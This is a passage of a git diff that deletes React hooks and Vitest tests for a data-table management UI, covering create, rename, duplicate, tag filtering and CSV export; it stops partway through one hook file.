diff --git a/client/src/pages/automation/datatables/components/hooks/tests/useDuplicateDataTableDialog.test.tsx b/client/src/pages/automation/datatables/components/hooks/tests/useDuplicateDataTableDialog.test.tsx
deleted file mode 100644
index be6fdda649e..00000000000
--- a/client/src/pages/automation/datatables/components/hooks/tests/useDuplicateDataTableDialog.test.tsx
+++ /dev/null
@@ -1,207 +0,0 @@
-import {act, renderHook} from '@testing-library/react';
-import {beforeEach, describe, expect, it, vi} from 'vitest';
-
-import useDuplicateDataTableDialog from '../useDuplicateDataTableDialog';
-
-const hoisted = vi.hoisted(() => {
-    return {
-        duplicateMutate: vi.fn(),
-        invalidateQueries: vi.fn(),
-    };
-});
-
-vi.mock('@/shared/middleware/graphql', async (importOriginal) => {
-    const actual = await importOriginal<typeof import('@/shared/middleware/graphql')>();
-
-    return {
-        ...actual,
-        useDuplicateDataTableMutation: vi.fn((options: {onSuccess: () => void}) => ({
-            mutate: (vars: unknown) => {
-                hoisted.duplicateMutate(vars);
-                options.onSuccess();
-            },
-        })),
-    };
-});
-
-vi.mock('@/shared/queries/automation/datatables.queries', () => ({
-    DataTableKeys: {
-        list: (environmentId: number, workspaceId: number) => ['dataTables', environmentId, workspaceId],
-    },
-}));
-
-vi.mock('@tanstack/react-query', () => ({
-    useQueryClient: vi.fn(() => ({
-        invalidateQueries: hoisted.invalidateQueries,
-    })),
-}));
-
-vi.mock('@/pages/automation/stores/useWorkspaceStore', () => ({
-    useWorkspaceStore: vi.fn(() => 1049),
-}));
-
-vi.mock('@/shared/stores/useEnvironmentStore', () => ({
-    useEnvironmentStore: vi.fn(() => 2),
-}));
-
-describe('useDuplicateDataTableDialog', () => {
-    beforeEach(() => {
-        vi.clearAllMocks();
-    });
-
-    describe('initial state', () => {
-        it('returns open as false initially', () => {
-            const {result} = renderHook(() => useDuplicateDataTableDialog());
-
-            expect(result.current.open).toBe(false);
-        });
-
-        it('returns empty duplicateValue initially', () => {
-            const {result} = renderHook(() => useDuplicateDataTableDialog());
-
-            expect(result.current.duplicateValue).toBe('');
-        });
-    });
-
-    describe('dialog operations', () => {
-        it('opens dialog with table id and base name', () => {
-            const {result} = renderHook(() => useDuplicateDataTableDialog());
-
-            act(() => {
-                result.current.handleOpen('table-123', 'TestTable');
-            });
-
-            expect(result.current.open).toBe(true);
-            expect(result.current.duplicateValue).toBe('TestTable_copy');
-        });
-
-        it('closes dialog', () => {
-            const {result} = renderHook(() => useDuplicateDataTableDialog());
-
-            act(() => {
-                result.current.handleOpen('table-123', 'TestTable');
-            });
-
-            act(() => {
-                result.current.handleClose();
-            });
-
-            expect(result.current.open).toBe(false);
-            expect(result.current.duplicateValue).toBe('');
-        });
-
-        it('updates duplicate value', () => {
-            const {result} = renderHook(() => useDuplicateDataTableDialog());
-
-            act(() => {
-                result.current.handleOpen('table-123', 'TestTable');
-            });
-
-            act(() => {
-                result.current.handleDuplicateValueChange('CopyName');
-            });
-
-            expect(result.current.duplicateValue).toBe('CopyName');
-        });
-    });
-
-    describe('canDuplicate', () => {
-        it('returns true when name is not empty', () => {
-            const {result} = renderHook(() => useDuplicateDataTableDialog());
-
-            act(() => {
-                result.current.handleOpen('table-123', 'TestTable');
-            });
-
-            expect(result.current.canDuplicate).toBe(true);
-        });
-
-        it('returns false when name is empty', () => {
-            const {result} = renderHook(() => useDuplicateDataTableDialog());
-
-            act(() => {
-                result.current.handleOpen('table-123', 'TestTable');
-            });
-
-            act(() => {
-                result.current.handleDuplicateValueChange('');
-            });
-
-            expect(result.current.canDuplicate).toBe(false);
-        });
-
-        it('returns false when name is whitespace only', () => {
-            const {result} = renderHook(() => useDuplicateDataTableDialog());
-
-            act(() => {
-                result.current.handleOpen('table-123', 'TestTable');
-            });
-
-            act(() => {
-                result.current.handleDuplicateValueChange('   ');
-            });
-
-            expect(result.current.canDuplicate).toBe(false);
-        });
-    });
-
-    describe('submit', () => {
-        it('submits duplicate with correct parameters', () => {
-            const {result} = renderHook(() => useDuplicateDataTableDialog());
-
-            act(() => {
-                result.current.handleOpen('table-123', 'TestTable');
-            });
-
-            act(() => {
-                result.current.handleDuplicateSubmit();
-            });
-
-            expect(hoisted.duplicateMutate).toHaveBeenCalledWith({
-                input: {
-                    environmentId: '2',
-                    newBaseName: 'TestTable_copy',
-                    tableId: 'table-123',
-                },
-            });
-        });
-
-        it('trims the duplicate value before submitting', () => {
-            const {result} = renderHook(() => useDuplicateDataTableDialog());
-
-            act(() => {
-                result.current.handleOpen('table-123', 'TestTable');
-            });
-
-            act(() => {
-                result.current.handleDuplicateValueChange('  CopyName  ');
-            });
-
-            act(() => {
-                result.current.handleDuplicateSubmit();
-            });
-
-            expect(hoisted.duplicateMutate).toHaveBeenCalledWith({
-                input: {
-                    environmentId: '2',
-                    newBaseName: 'CopyName',
-                    tableId: 'table-123',
-                },
-            });
-        });
-
-        it('closes dialog after successful submit', () => {
-            const {result} = renderHook(() => useDuplicateDataTableDialog());
-
-            act(() => {
-                result.current.handleOpen('table-123', 'TestTable');
-            });
-
-            act(() => {
-                result.current.handleDuplicateSubmit();
-            });
-
-            expect(result.current.open).toBe(false);
-        });
-    });
-});
diff --git a/client/src/pages/automation/datatables/components/hooks/tests/useRenameDataTableDialog.test.tsx b/client/src/pages/automation/datatables/components/hooks/tests/useRenameDataTableDialog.test.tsx
deleted file mode 100644
index 250e70435c1..00000000000
--- a/client/src/pages/automation/datatables/components/hooks/tests/useRenameDataTableDialog.test.tsx
+++ /dev/null
@@ -1,236 +0,0 @@
-import {act, renderHook} from '@testing-library/react';
-import {beforeEach, describe, expect, it, vi} from 'vitest';
-
-import useRenameDataTableDialog from '../useRenameDataTableDialog';
-
-const hoisted = vi.hoisted(() => {
-    return {
-        invalidateQueries: vi.fn(),
-        renameMutate: vi.fn(),
-        storeState: {
-            baseName: '',
-            clearTableToRename: vi.fn(),
-            renameValue: '',
-            setRenameValue: vi.fn(),
-            setTableToRename: vi.fn(),
-            tableIdToRename: null as string | null,
-        },
-    };
-});
-
-vi.mock('@/pages/automation/datatables/stores/useRenameDataTableDialogStore', () => ({
-    useRenameDataTableDialogStore: vi.fn(() => {
-        return {
-            baseName: hoisted.storeState.baseName,
-            clearTableToRename: () => {
-                hoisted.storeState.baseName = '';
-                hoisted.storeState.renameValue = '';
-                hoisted.storeState.tableIdToRename = null;
-                hoisted.storeState.clearTableToRename();
-            },
-            renameValue: hoisted.storeState.renameValue,
-            setRenameValue: (value: string) => {
-                hoisted.storeState.renameValue = value;
-                hoisted.storeState.setRenameValue(value);
-            },
-            setTableToRename: (tableId: string, baseName: string) => {
-                hoisted.storeState.tableIdToRename = tableId;
-                hoisted.storeState.baseName = baseName;
-                hoisted.storeState.renameValue = baseName;
-                hoisted.storeState.setTableToRename(tableId, baseName);
-            },
-            tableIdToRename: hoisted.storeState.tableIdToRename,
-        };
-    }),
-}));
-
-vi.mock('@/shared/middleware/graphql', async (importOriginal) => {
-    const actual = await importOriginal<typeof import('@/shared/middleware/graphql')>();
-
-    return {
-        ...actual,
-        useRenameDataTableMutation: vi.fn((options: {onSuccess: () => void}) => ({
-            mutate: (vars: unknown) => {
-                hoisted.renameMutate(vars);
-                options.onSuccess();
-            },
-        })),
-    };
-});
-
-vi.mock('@/shared/queries/automation/datatables.queries', () => ({
-    DataTableKeys: {
-        list: (environmentId: number, workspaceId: number | null) => ['dataTables', environmentId, workspaceId],
-    },
-}));
-
-vi.mock('@tanstack/react-query', () => ({
-    useQueryClient: vi.fn(() => ({
-        invalidateQueries: hoisted.invalidateQueries,
-    })),
-}));
-
-vi.mock('@/pages/automation/stores/useWorkspaceStore', () => ({
-    useWorkspaceStore: vi.fn(() => 1049),
-}));
-
-vi.mock('@/shared/stores/useEnvironmentStore', () => ({
-    useEnvironmentStore: vi.fn(() => 2),
-}));
-
-describe('useRenameDataTableDialog', () => {
-    beforeEach(() => {
-        vi.clearAllMocks();
-        hoisted.storeState.baseName = '';
-        hoisted.storeState.renameValue = '';
-        hoisted.storeState.tableIdToRename = null;
-    });
-
-    describe('initial state', () => {
-        it('returns open as false', () => {
-            const {result} = renderHook(() => useRenameDataTableDialog());
-
-            expect(result.current.open).toBe(false);
-        });
-
-        it('returns empty renameValue', () => {
-            const {result} = renderHook(() => useRenameDataTableDialog());
-
-            expect(result.current.renameValue).toBe('');
-        });
-    });
-
-    describe('open dialog', () => {
-        it('opens dialog when handleOpen is called', () => {
-            const {rerender, result} = renderHook(() => useRenameDataTableDialog());
-
-            act(() => {
-                result.current.handleOpen('table-123', 'TestTable');
-            });
-
-            rerender();
-
-            expect(result.current.open).toBe(true);
-        });
-
-        it('sets renameValue to baseName when opened', () => {
-            const {rerender, result} = renderHook(() => useRenameDataTableDialog());
-
-            act(() => {
-                result.current.handleOpen('table-123', 'TestTable');
-            });
-
-            rerender();
-
-            expect(result.current.renameValue).toBe('TestTable');
-        });
-    });
-
-    describe('close dialog', () => {
-        it('closes dialog', () => {
-            hoisted.storeState.tableIdToRename = 'table-123';
-            const {rerender, result} = renderHook(() => useRenameDataTableDialog());
-
-            act(() => {
-                result.current.handleClose();
-            });
-
-            rerender();
-
-            expect(result.current.open).toBe(false);
-        });
-    });
-
-    describe('canRename', () => {
-        it('returns false when renameValue equals baseName', () => {
-            hoisted.storeState.tableIdToRename = 'table-123';
-            hoisted.storeState.baseName = 'TestTable';
-            hoisted.storeState.renameValue = 'TestTable';
-
-            const {result} = renderHook(() => useRenameDataTableDialog());
-
-            expect(result.current.canRename).toBe(false);
-        });
-
-        it('returns true when renameValue differs from baseName', () => {
-            hoisted.storeState.tableIdToRename = 'table-123';
-            hoisted.storeState.baseName = 'TestTable';
-            hoisted.storeState.renameValue = 'NewName';
-
-            const {result} = renderHook(() => useRenameDataTableDialog());
-
-            expect(result.current.canRename).toBe(true);
-        });
-
-        it('returns false when renameValue is empty', () => {
-            hoisted.storeState.tableIdToRename = 'table-123';
-            hoisted.storeState.baseName = 'TestTable';
-            hoisted.storeState.renameValue = '';
-
-            const {result} = renderHook(() => useRenameDataTableDialog());
-
-            expect(result.current.canRename).toBe(false);
-        });
-    });
-
-    describe('handle rename submit', () => {
-        it('calls rename mutation with correct data', () => {
-            hoisted.storeState.tableIdToRename = 'table-123';
-            hoisted.storeState.renameValue = 'NewName';
-
-            const {result} = renderHook(() => useRenameDataTableDialog());
-
-            act(() => {
-                result.current.handleRenameSubmit();
-            });
-
-            expect(hoisted.renameMutate).toHaveBeenCalledWith({
-                input: {
-                    environmentId: '2',
-                    newBaseName: 'NewName',
-                    tableId: 'table-123',
-                },
-            });
-        });
-
-        it('does not call mutation when no table is selected', () => {
-            const {result} = renderHook(() => useRenameDataTableDialog());
-
-            act(() => {
-                result.current.handleRenameSubmit();
-            });
-
-            expect(hoisted.renameMutate).not.toHaveBeenCalled();
-        });
-
-        it('closes dialog after successful rename', () => {
-            hoisted.storeState.tableIdToRename = 'table-123';
-            hoisted.storeState.renameValue = 'NewName';
-
-            const {rerender, result} = renderHook(() => useRenameDataTableDialog());
-
-            act(() => {
-                result.current.handleRenameSubmit();
-            });
-
-            rerender();
-
-            expect(result.current.open).toBe(false);
-        });
-
-        it('invalidates queries after successful rename', () => {
-            hoisted.storeState.tableIdToRename = 'table-123';
-            hoisted.storeState.renameValue = 'NewName';
-
-            const {result} = renderHook(() => useRenameDataTableDialog());
-
-            act(() => {
-                result.current.handleRenameSubmit();
-            });
-
-            expect(hoisted.invalidateQueries).toHaveBeenCalledWith({
-                queryKey: ['dataTables'],
-            });
-        });
-    });
-});
diff --git a/client/src/pages/automation/datatables/components/hooks/useCreateDataTableDialog.ts b/client/src/pages/automation/datatables/components/hooks/useCreateDataTableDialog.ts
deleted file mode 100644
index f43f3cd006b..00000000000
--- a/client/src/pages/automation/datatables/components/hooks/useCreateDataTableDialog.ts
+++ /dev/null
@@ -1,129 +0,0 @@
-import {useWorkspaceStore} from '@/pages/automation/stores/useWorkspaceStore';
-import {ColumnType, useCreateDataTableMutation} from '@/shared/middleware/graphql';
-import {useEnvironmentStore} from '@/shared/stores/useEnvironmentStore';
-import {useQueryClient} from '@tanstack/react-query';
-import {useState} from 'react';
-
-type ColumnDefinitionType = {name: string; type: ColumnType};
-
-interface UseCreateDataTableDialogI {
-    baseName: string;
-    canSubmit: boolean;
-    columns: ColumnDefinitionType[];
-    description: string;
-    handleAddColumn: () => void;
-    handleBaseNameChange: (value: string) => void;
-    handleClose: () => void;
-    handleColumnNameChange: (index: number, name: string) => void;
-    handleColumnTypeChange: (index: number, type: ColumnType) => void;
-    handleCreate: () => void;
-    handleDescriptionChange: (value: string) => void;
-    handleOpen: () => void;
-    handleOpenChange: (open: boolean) => void;
-    handleRemoveColumn: (index: number) => void;
-    isPending: boolean;
-    open: boolean;
-}
-
-export default function useCreateDataTableDialog(): UseCreateDataTableDialogI {
-    const [open, setOpen] = useState(false);
-    const [baseName, setBaseName] = useState('');
-    const [columns, setColumns] = useState<ColumnDefinitionType[]>([{name: '', type: ColumnType.String}]);
-    const [description, setDescription] = useState('');
-
-    const environmentId = useEnvironmentStore((state) => state.currentEnvironmentId);
-    const workspaceId = useWorkspaceStore((state) => state.currentWorkspaceId);
-
-    const queryClient = useQueryClient();
-
-    const createMutation = useCreateDataTableMutation({
-        onSuccess: () => {
-            queryClient.invalidateQueries({queryKey: ['dataTables']});
-            setOpen(false);
-            setBaseName('');
-            setColumns([{name: '', type: ColumnType.String}]);
-            setDescription('');
-        },
-    });
-
-    const canSubmit = baseName.trim().length > 0 && columns.every((column) => column.name.trim().length > 0);
-
-    const handleOpen = () => {
-        setOpen(true);
-    };
-
-    const handleClose = () => {
-        setOpen(false);
-    };
-
-    const handleOpenChange = (open: boolean) => {
-        if (!open) {
-            handleClose();
-        }
-    };
-
-    const handleAddColumn = () => {
-        setColumns((previous) => [...previous, {name: '', type: ColumnType.String}]);
-    };
-
-    const handleRemoveColumn = (index: number) => {
-        setColumns((previous) => previous.filter((_, columnIndex) => columnIndex !== index));
-    };
-
-    const handleColumnNameChange = (index: number, name: string) => {
-        setColumns((previous) => {
-            const previousColumns = [...previous];
-            previousColumns[index] = {...previousColumns[index], name};
-
-            return previousColumns;
-        });
-    };
-
-    const handleColumnTypeChange = (index: number, type: ColumnType) => {
-        setColumns((previous) => {
-            const previousColumns = [...previous];
-            previousColumns[index] = {...previousColumns[index], type};
-
-            return previousColumns;
-        });
-    };
-
-    const handleBaseNameChange = (value: string) => {
-        setBaseName(value);
-    };
-
-    const handleDescriptionChange = (value: string) => {
-        setDescription(value);
-    };
-
-    const handleCreate = () => {
-        createMutation.mutate({
-            input: {
-                baseName: baseName.trim(),
-                columns: columns.map((column) => ({name: column.name.trim(), type: column.type})),
-                description: description.trim() || undefined,
-                environmentId: String(environmentId),
-                workspaceId: String(workspaceId),
-            },
-        });
-    };
-
-    return {
-        baseName,
-        canSubmit,
-        columns,
-        description,
-        handleAddColumn,
-        handleBaseNameChange,
-        handleClose,
-        handleColumnNameChange,
-        handleColumnTypeChange,
-        handleCreate,
-        handleDescriptionChange,
-        handleOpen,
-        handleOpenChange,
-        handleRemoveColumn,
-        isPending: createMutation.isPending,
-        open,
-    };
-}
diff --git a/client/src/pages/automation/datatables/components/hooks/useDataTableList.ts b/client/src/pages/automation/datatables/components/hooks/useDataTableList.ts
deleted file mode 100644
index adbb30bf459..00000000000
--- a/client/src/pages/automation/datatables/components/hooks/useDataTableList.ts
+++ /dev/null
@@ -1,37 +0,0 @@
-import {DataTable, DataTableTagsEntry, Tag} from '@/shared/middleware/graphql';
-import {useMemo} from 'react';
-
-interface UseDataTableListProps {
-    dataTables: DataTable[];
-    tagsByTableData: DataTableTagsEntry[];
-}
-
-interface UseDataTableListI {
-    sortedTables: DataTable[];
-    tagsByTableMap: Map<string, Tag[]>;
-}
-
-export default function useDataTableList({dataTables, tagsByTableData}: UseDataTableListProps): UseDataTableListI {
-    const tagsByTableMap = useMemo(() => {
-        const map = new Map<string, Tag[]>();
-
-        tagsByTableData.forEach((entry) => {
-            map.set(entry.tableId, entry.tags || []);
-        });
-
-        return map;
-    }, [tagsByTableData]);
-
-    const collator = useMemo(() => new Intl.Collator(undefined, {numeric: true, sensitivity: 'base'}), []);
-
-    const sortedTables = useMemo(() => {
-        return [...dataTables].sort((tableA, tableB) =>
-            collator.compare(tableA.baseName.trim(), tableB.baseName.trim())
-        );
-    }, [dataTables, collator]);
-
-    return {
-        sortedTables,
-        tagsByTableMap,
-    };
-}
diff --git a/client/src/pages/automation/datatables/components/hooks/useDataTableListItem.ts b/client/src/pages/automation/datatables/components/hooks/useDataTableListItem.ts
deleted file mode 100644
index 9f7d15df45a..00000000000
--- a/client/src/pages/automation/datatables/components/hooks/useDataTableListItem.ts
+++ /dev/null
@@ -1,35 +0,0 @@
-import {DataTable} from '@/shared/middleware/graphql';
-import {MouseEvent, useCallback} from 'react';
-import {useNavigate} from 'react-router-dom';
-
-interface UseDataTableListItemProps {
-    table: DataTable;
-}
-
-interface UseDataTableListItemI {
-    columnCountLabel: string;
-    handleDataTableListItemTagListClick: (event: MouseEvent) => void;
-    handleRowClick: () => void;
-}
-
-export default function useDataTableListItem({table}: UseDataTableListItemProps): UseDataTableListItemI {
-    const navigate = useNavigate();
-
-    const columnCount = table.columns?.length ?? 0;
-    const columnCountLabel = columnCount === 1 ? `${columnCount} column` : `${columnCount} columns`;
-
-    const handleDataTableListItemTagListClick = useCallback((event: MouseEvent) => {
-        event.preventDefault();
-        event.stopPropagation();
-    }, []);
-
-    const handleRowClick = useCallback(() => {
-        navigate(`/automation/datatables/${table.id}`);
-    }, [navigate, table.id]);
-
-    return {
-        columnCountLabel,
-        handleDataTableListItemTagListClick,
-        handleRowClick,
-    };
-}
diff --git a/client/src/pages/automation/datatables/components/hooks/useDataTableListItemDropdownMenu.ts b/client/src/pages/automation/datatables/components/hooks/useDataTableListItemDropdownMenu.ts
deleted file mode 100644
index 490ea84d0d0..00000000000
--- a/client/src/pages/automation/datatables/components/hooks/useDataTableListItemDropdownMenu.ts
+++ /dev/null
@@ -1,102 +0,0 @@
-import {useToast} from '@/hooks/use-toast';
-import useDeleteDataTableAlertDialog from '@/pages/automation/datatable/hooks/useDeleteDataTableAlertDialog';
-import useDuplicateDataTableDialog from '@/pages/automation/datatables/components/hooks/useDuplicateDataTableDialog';
-import useRenameDataTableDialog from '@/pages/automation/datatables/components/hooks/useRenameDataTableDialog';
-import {useExportDataTableCsvQuery} from '@/shared/middleware/graphql';
-import {useEnvironmentStore} from '@/shared/stores/useEnvironmentStore';
-import {MouseEvent, useCallback} from 'react';
-
-interface UseDataTableListItemDropdownMenuProps {
-    dataTableId: string;
-    baseName: string;
-}
-
-interface UseDataTableListItemDropdownMenuI {
-    handleDeleteClick: (event: MouseEvent) => void;
-    handleDuplicateClick: (event: MouseEvent) => void;
-    handleExportCsvClick: (event: MouseEvent) => void;
-    handleRenameClick: (event: MouseEvent) => void;
-}
-
-export default function useDataTableListItemDropdownMenu({
-    baseName,
-    dataTableId,
-}: UseDataTableListItemDropdownMenuProps): UseDataTableListItemDropdownMenuI {
-    const environmentId = useEnvironmentStore((state) => state.currentEnvironmentId);
-    const {toast} = useToast();
-
-    const {handleOpen: handleOpenDeleteDataTableAlertDialog} = useDeleteDataTableAlertDialog();
-    const {handleOpen: handleDuplicateDialogOpen} = useDuplicateDataTableDialog();
-    const {handleOpen: handleRenameDialogOpen} = useRenameDataTableDialog();
-
-    const {refetch: refetchExportCsv} = useExportDataTableCsvQuery(
-        {environmentId: String(environmentId), tableId: dataTableId},
-        {enabled: false}
-    );
-
-    const handleRenameClick = useCallback(
-        (event: MouseEvent) => {
-            event.preventDefault();
-            event.stopPropagation();
-
-            handleRenameDialogOpen(dataTableId, baseName);
-        },
-        [baseName, dataTableId, handleRenameDialogOpen]
-    );
-
-    const handleDuplicateClick = useCallback(
-        (event: MouseEvent) => {
-            event.preventDefault();
-            event.stopPropagation();
-
-            handleDuplicateDialogOpen(dataTableId, baseName);
-        },
-        [baseName, dataTableId, handleDuplicateDialogOpen]
-    );
-
-    const handleExportCsvClick = useCallback(
-        async (event: MouseEvent) => {
-            event.preventDefault();
-            event.stopPropagation();
-
-            try {
-                const {data} = await refetchExportCsv();
-
-                if (!data?.exportDataTableCsv) return;
-
-                const blob = new Blob([data.exportDataTableCsv], {type: 'text/csv;charset=utf-8;'});
-                const url = window.URL.createObjectURL(blob);
-                const anchor = document.createElement('a');
-                anchor.href = url;
-                anchor.download = `${baseName}.csv`;
-                anchor.click();
-                window.URL.revokeObjectURL(url);
-            } catch (error) {
-                console.error('Failed to export CSV:', error);
-
-                toast({
-                    description: 'Failed to export CSV',
-                    variant: 'destructive',
-                });
-            }
-        },
-        [baseName, refetchExportCsv, toast]
-    );
-
-    const handleDeleteClick = useCallback(
-        (event: MouseEvent) => {
-            event.preventDefault();
-            event.stopPropagation();
-
-            handleOpenDeleteDataTableAlertDialog(dataTableId, baseName);
-        },
-        [baseName, dataTableId, handleOpenDeleteDataTableAlertDialog]
-    );
-
-    return {
-        handleDeleteClick,
-        handleDuplicateClick,
-        handleExportCsvClick,
-        handleRenameClick,
-    };
-}
diff --git a/client/src/pages/automation/datatables/components/hooks/useDataTableListItemTagList.ts b/client/src/pages/automation/datatables/components/hooks/useDataTableListItemTagList.ts
deleted file mode 100644
index aa0bb7d95bf..00000000000
--- a/client/src/pages/automation/datatables/components/hooks/useDataTableListItemTagList.ts
+++ /dev/null
@@ -1,66 +0,0 @@
-import {
-    DataTableTagsByTableQuery,
-    UpdateDataTableTagsMutationVariables,
-    useUpdateDataTableTagsMutation,
-} from '@/shared/middleware/graphql';
-import {useQueryClient} from '@tanstack/react-query';
-
-type DataTableTagsByTableEntryType = DataTableTagsByTableQuery['dataTableTagsByTable'][number];
-
-interface UseDataTableListItemTagListProps {
-    tableId: string;
-}
-
-export default function useDataTableListItemTagList({tableId}: UseDataTableListItemTagListProps) {
-    const queryClient = useQueryClient();
-
-    const updateTagsMutation = useUpdateDataTableTagsMutation({
-        onError: (_err, _vars, ctx) => {
-            if (ctx?.previous) {
-                queryClient.setQueryData(['dataTableTagsByTable'], ctx.previous);
-            }
-        },
-        onMutate: async (variables: UpdateDataTableTagsMutationVariables) => {
-            await queryClient.cancelQueries({queryKey: ['dataTableTagsByTable']});
-
-            const previous = queryClient.getQueryData<{dataTableTagsByTable: DataTableTagsByTableEntryType[]}>([
-                'dataTableTagsByTable',
-            ]);
-
-            const next = (() => {
-                if (!previous?.dataTableTagsByTable) return previous;
-
-                const withTempIds = (variables.input.tags ?? []).map((tag) => ({
-                    ...tag,
-                    id: tag.id,
-                }));
-
-                const updated = previous.dataTableTagsByTable.map((entry) =>
-                    entry.tableId === tableId ? {...entry, tags: withTempIds} : entry
-                );
-
-                const hasEntry = previous.dataTableTagsByTable.some((entry) => entry.tableId === tableId);
-
-                return hasEntry
-                    ? {...previous, dataTableTagsByTable: updated}
-                    : {
-                          ...previous,
-                          dataTableTagsByTable: [...previous.dataTableTagsByTable, {tableId, tags: withTempIds}],
-                      };
-            })();
-
-            queryClient.setQueryData(['dataTableTagsByTable'], next);
-
-            return {previous};
-        },
-        onSettled: () => {
-            queryClient.invalidateQueries({queryKey: ['dataTableTags']});
-            queryClient.invalidateQueries({queryKey: ['dataTableTagsByTable']});
-            queryClient.invalidateQueries({queryKey: ['dataTables']});
-        },
-    });
-
-    return {
-        updateTagsMutation,
-    };
-}
diff --git a/client/src/pages/automation/datatables/components/hooks/useDataTables.ts b/client/src/pages/automation/datatables/components/hooks/useDataTables.ts
deleted file mode 100644
index 97019393de0..00000000000
--- a/client/src/pages/automation/datatables/components/hooks/useDataTables.ts
+++ /dev/null
@@ -1,75 +0,0 @@
-import {useWorkspaceStore} from '@/pages/automation/stores/useWorkspaceStore';
-import {
-    DataTable,
-    DataTableTagsEntry,
-    Tag,
-    useDataTableTagsByTableQuery,
-    useDataTableTagsQuery,
-    useDataTablesQuery,
-} from '@/shared/middleware/graphql';
-import {useEnvironmentStore} from '@/shared/stores/useEnvironmentStore';
-import {useMemo} from 'react';
-import {useSearchParams} from 'react-router-dom';
-
-interface UseDataTablesI {
-    allTags: Tag[];
-    error: unknown;
-    filteredTables: DataTable[];
-    isLoading: boolean;
-    tables: DataTable[];
-    tagId: string | undefined;
-    tagsByTableData: DataTableTagsEntry[];
-}
-
-export default function useDataTables(): UseDataTablesI {
-    const environmentId = useEnvironmentStore((state) => state.currentEnvironmentId);
-    const workspaceId = useWorkspaceStore((state) => state.currentWorkspaceId);
-
-    const {data, error, isLoading} = useDataTablesQuery({
-        environmentId: String(environmentId),
-        workspaceId: String(workspaceId),
-    });
-
-    const tables = useMemo(() => data?.dataTables ?? [], [data?.dataTables]);
-
-    const [searchParams] = useSearchParams();
-    const tagIdParam = searchParams.get('tagId');
-    const tagId = tagIdParam ?? undefined;
-
-    const {data: tagsByTableQueryData} = useDataTableTagsByTableQuery();
-    const {data: allTagsData} = useDataTableTagsQuery();
-
-    const tagsByTableData = useMemo(
-        () => tagsByTableQueryData?.dataTableTagsByTable ?? [],
-        [tagsByTableQueryData?.dataTableTagsByTable]
-    );
-    const allTags = useMemo(() => allTagsData?.dataTableTags ?? [], [allTagsData?.dataTableTags]);
-
-    const filteredTables = useMemo(() => {
-        if (!tagId) {
-            return tables;
-        }
-
-        const tableIdsWithTag = new Set<string>();
-
-        for (const entry of tagsByTableData) {
-            const hasTag = entry.tags?.some((tag) => tag.id === tagId);
-
-            if (hasTag) {
-                tableIdsWithTag.add(entry.tableId as string);
-            }
-        }
-
-        return tables.filter((table) => tableIdsWithTag.has(table.id));
-    }, [tables, tagsByTableData, tagId]);
-
-    return {
-        allTags: allTags as Tag[],
-        error,
-        filteredTables: filteredTables as DataTable[],
-        isLoading,
-        tables: tables as DataTable[],
-        tagId,
-        tagsByTableData: tagsByTableData as DataTableTagsEntry[],
-    };
-}
diff --git a/client/src/pages/automation/datatables/components/hooks/useDataTablesFilterTitle.ts b/client/src/pages/automation/datatables/components/hooks/useDataTablesFilterTitle.ts
deleted file mode 100644
index d315250056f..00000000000
--- a/client/src/pages/automation/datatables/components/hooks/useDataTablesFilterTitle.ts
+++ /dev/null
@@ -1,41 +0,0 @@
-import {DataTableTagsEntry, Tag} from '@/shared/middleware/graphql';
-import {useMemo} from 'react';
-import {useSearchParams} from 'react-router-dom';
-
-interface UseDataTablesFilterTitleProps {
-    allTags: Tag[];
-    tagsByTableData: DataTableTagsEntry[];
-}
-
-interface UseDataTablesFilterTitleI {
-    pageTitle: string | undefined;
-    tagId: string | null;
-}
-
-export default function useDataTablesFilterTitle({
-    allTags,
-    tagsByTableData,
-}: UseDataTablesFilterTitleProps): UseDataTablesFilterTitleI {
-    const [searchParams] = useSearchParams();
-
-    const tagId = searchParams.get('tagId');
-
-    const pageTitle = useMemo(() => {
-        if (!tagId) return undefined;
-
-        const fromGlobal = allTags.find((tag) => tag.id === tagId)?.name;
-
-        if (fromGlobal) {
-            return fromGlobal;
-        }
-
-        const flatTags = tagsByTableData.flatMap((entry) => entry.tags ?? []);
-
-        return flatTags.find((tag) => tag.id === tagId)?.name;
-    }, [allTags, tagsByTableData, tagId]);
-
-    return {
-        pageTitle,
-        tagId,
-    };
-}
diff --git a/client/src/pages/automation/datatables/components/hooks/useDataTablesLeftSidebarNav.ts b/client/src/pages/automation/datatables/components/hooks/useDataTablesLeftSidebarNav.ts
deleted file mode 100644
index 17ff88c4331..00000000000
--- a/client/src/pages/automation/datatables/components/hooks/useDataTablesLeftSidebarNav.ts
+++ /dev/null
@@ -1,23 +0,0 @@
-import {Tag, useDataTableTagsQuery} from '@/shared/middleware/graphql';
-import {useSearchParams} from 'react-router-dom';
-
-interface UseDataTablesLeftSidebarNavI {
-    isLoading: boolean;
-    tagId: string | null;
-    tags: Tag[];
-}
-
-export default function useDataTablesLeftSidebarNav(): UseDataTablesLeftSidebarNavI {
-    const [searchParams] = useSearchParams();
-    const tagId = searchParams.get('tagId');
-
-    const {data, isLoading} = useDataTableTagsQuery();
-
-    const tags = (data?.dataTableTags ?? []) as Tag[];
-
-    return {
-        isLoading,
-        tagId,
-        tags,
-    };
-}
diff --git a/client/src/pages/automation/datatables/components/hooks/useDuplicateDataTableDialog.ts b/client/src/pages/automation/datatables/components/hooks/useDuplicateDataTableDialog.ts
deleted file mode 100644
index 0bb36ab9b34..00000000000
--- a/client/src/pages/automation/datatables/components/hooks/useDuplicateDataTableDialog.ts
+++ /dev/null
@@ -1,75 +0,0 @@
-import {useDuplicateDataTableDialogStore} from '@/pages/automation/datatables/stores/useDuplicateDataTableDialogStore';
-import {useDuplicateDataTableMutation} from '@/shared/middleware/graphql';
-import {useEnvironmentStore} from '@/shared/stores/useEnvironmentStore';
-import {useQueryClient} from '@tanstack/react-query';
-import {useMemo} from 'react';
-
-interface UseDuplicateDataTableDialogI {
-    canDuplicate: boolean;
-    duplicateValue: string;
-    handleClose: () => void;
-    handleDuplicateSubmit: () => void;
-    handleDuplicateValueChange: (value: string) => void;
-    handleOpen: (tableId: string, baseName: string) => void;
-    handleOpenChange: (open: boolean) => void;
-    open: boolean;
-}
-
-export default function useDuplicateDataTableDialog(): UseDuplicateDataTableDialogI {
-    const {clearTableToDuplicate, duplicateValue, setDuplicateValue, setTableToDuplicate, tableIdToDuplicate} =
-        useDuplicateDataTableDialogStore();
-
-    const environmentId = useEnvironmentStore((state) => state.currentEnvironmentId);
-
-    const queryClient = useQueryClient();
-
-    const duplicateMutation = useDuplicateDataTableMutation({
-        onSuccess: () => {
-            queryClient.invalidateQueries({queryKey: ['dataTables']});
-            clearTableToDuplicate();
-        },
-    });
-
